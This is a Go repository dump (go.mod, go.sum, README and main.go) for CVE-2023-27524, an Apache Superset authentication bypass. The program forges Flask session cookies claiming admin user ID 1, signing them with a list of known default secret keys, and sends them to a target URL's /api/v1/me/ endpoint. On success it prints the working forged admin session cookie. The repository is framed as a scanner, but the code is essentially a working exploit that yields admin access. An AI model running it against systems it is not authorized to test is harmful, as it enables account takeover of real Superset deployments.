├── go.mod ├── go.sum ├── README.md └── main.go /go.mod: -------------------------------------------------------------------------------- 1 | module CVE-2023-27524 2 | 3 | go 1.18 4 | 5 | require github.com/tardc/itsdangerous v0.0.0-20230508130203-156b2b99a153 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/tardc/itsdangerous v0.0.0-20230508130203-156b2b99a153 h1:dhig0pps01+UgRwe3KIQ2YW54eB+bIo/iPFRnUB6yQg= 2 | github.com/tardc/itsdangerous v0.0.0-20230508130203-156b2b99a153/go.mod h1:nzQZ3tXYGoMXrP02V/xVUVhfH2ZisAUL06wcDxPCT8U= 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-27524 2 | 3 | Apache Superset Auth Bypass (CVE-2023-27524) 4 | 5 | ## Reference 6 | 7 | - [https://nvd.nist.gov/vuln/detail/CVE-2023-27524](https://nvd.nist.gov/vuln/detail/CVE-2023-27524) 8 | - [https://github.com/horizon3ai/CVE-2023-27524](https://github.com/horizon3ai/CVE-2023-27524) 9 | - [https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/](https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/) 10 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "flag" 7 | "fmt" 8 | "io" 9 | "log" 10 | "net/http" 11 | "net/url" 12 | 13 | "github.com/tardc/itsdangerous" 14 | ) 15 | 16 | func main() { 17 | u := flag.String("url", "", "the URL to scan") 18 | flag.Parse() 19 | 20 | if *u == "" { 21 | log.Fatalln(errors.New("invalid URL")) 22 | } 23 | parsed, err := url.Parse(*u) 24 | if err != nil { 25 | log.Fatalln(err) 26 | } 27 | parsed.Path = "/api/v1/me/" 28 | 29 | defaultKeys := []string{ 30 | "\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h", 31 | "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET", 32 | "thisISaSECRET_1234", 33 | "YOUR_OWN_RANDOM_GENERATED_SECRET_KEY", 34 | "TEST_NON_DEV_SECRET", 35 | } 36 | salt := "cookie-session" 37 | defaultAdminSessionValue := map[string]interface{}{"_user_id": 1, "user_id": 1} 38 | 39 | var vulnerable bool 40 | for _, key := range defaultKeys { 41 | signer := itsdangerous.NewTimestampSigner(key, salt, ".", "hmac", nil, nil, 0) 42 | serializer := itsdangerous.URLSafeSerializer{ 43 | RegularSerializer: &itsdangerous.RegularSerializer{ 44 | Marshaller: &itsdangerous.JSONMarshaller{}, 45 | Signer: signer, 46 | }, 47 | } 48 | 49 | sessionCookie, err := serializer.Dumps(defaultAdminSessionValue) 50 | if err != nil { 51 | log.Println(err) 52 | continue 53 | } 54 | 55 | req, err := http.NewRequest(http.MethodGet, parsed.String(), nil) 56 | if err != nil { 57 | log.Println(err) 58 | continue 59 | } 60 | req.Header.Set("Cookie", "session="+sessionCookie) 61 | resp, err := http.DefaultClient.Do(req) 62 | if err != nil { 63 | log.Println(err) 64 | continue 65 | } 66 | 67 | body, err := io.ReadAll(resp.Body) 68 | if err != nil { 69 | log.Println(err) 70 | continue 71 | } 72 | if resp.StatusCode == 200 && 73 | bytes.Contains(body, []byte("result\":")) && 74 | bytes.Contains(body, []byte("email\":")) && 75 | bytes.Contains(body, []byte("username\":")) { 76 | 77 | fmt.Println("[*] Vulnerable:", parsed.String()) 78 | fmt.Println("[*] session:", sessionCookie) 79 | 80 | vulnerable = true 81 | break 82 | } 83 | } 84 | 85 | if !vulnerable { 86 | fmt.Println("[-] Secure:", *u) 87 | } 88 | } 89 | --------------------------------------------------------------------------------